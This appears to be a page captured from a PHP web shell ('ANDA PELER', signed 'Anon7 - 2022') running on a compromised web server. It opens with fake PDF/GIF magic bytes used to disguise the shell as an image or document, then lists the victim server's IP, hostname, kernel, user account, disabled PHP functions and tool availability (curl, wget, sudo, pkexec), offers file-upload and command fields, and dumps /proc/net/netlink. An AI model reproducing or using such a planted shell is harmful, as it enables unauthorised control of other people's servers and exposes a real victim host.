%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.78.107.159  /  Your IP : 216.73.216.102
Web Server : Apache
System : Linux sial.sialwebvps.com 4.18.0-553.83.1.el8_10.x86_64 #1 SMP Mon Nov 10 04:22:44 EST 2025 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/142/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/142/net/netlink
sk               Eth Pid        Groups   Rmem     Wmem     Dump  Locks    Drops    Inode
0000000000000000 0   0          00000000 0        0        0     2        0        11      
0000000000000000 0   724        00020ff8 0        0        0     2        0        22869   
0000000000000000 4   0          00000000 0        0        0     2        0        13342   
0000000000000000 6   0          00000000 0        0        0     2        0        13343   
0000000000000000 7   0          00000000 0        0        0     2        0        1139    
0000000000000000 9   0          00000000 0        0        0     2        0        16      
0000000000000000 9   1          00000000 0        0        0     2        0        14260   
0000000000000000 9   643        00000000 0        0        0     2        0        16218   
0000000000000000 10  0          00000000 0        0        0     2        0        10529   
0000000000000000 11  0          00000000 0        0        0     2        0        32      
0000000000000000 12  0          00000000 0        0        0     2        0        21771   
0000000000000000 15  3573917071 00000002 0        0        0     2        0        21888   
0000000000000000 15  768        00000002 0        0        0     2        0        21885   
0000000000000000 15  31434      00000002 0        0        0     2        0        207874  
0000000000000000 15  3928651218 00000002 0        0        0     2        0        21886   
0000000000000000 15  0          00000000 0        0        0     2        0        20      
0000000000000000 15  3076817797 00000002 0        0        0     2        0        21887   
0000000000000000 15  7536       00000002 0        0        0     2        0        44415   
0000000000000000 15  1          00000002 0        0        0     2        0        14254   
0000000000000000 15  3588233259 00000001 0        0        0     2        0        18642   
0000000000000000 15  1295       00000002 0        0        0     2        0        24579   
0000000000000000 16  0          00000000 0        0        0     2        0        40      
0000000000000000 18  0          00000000 0        0        0     2        0        35      
0000000000000000 20  0          00000000 0        0        0     2        0        27880   

Anon7 - 2022
SCDN GOK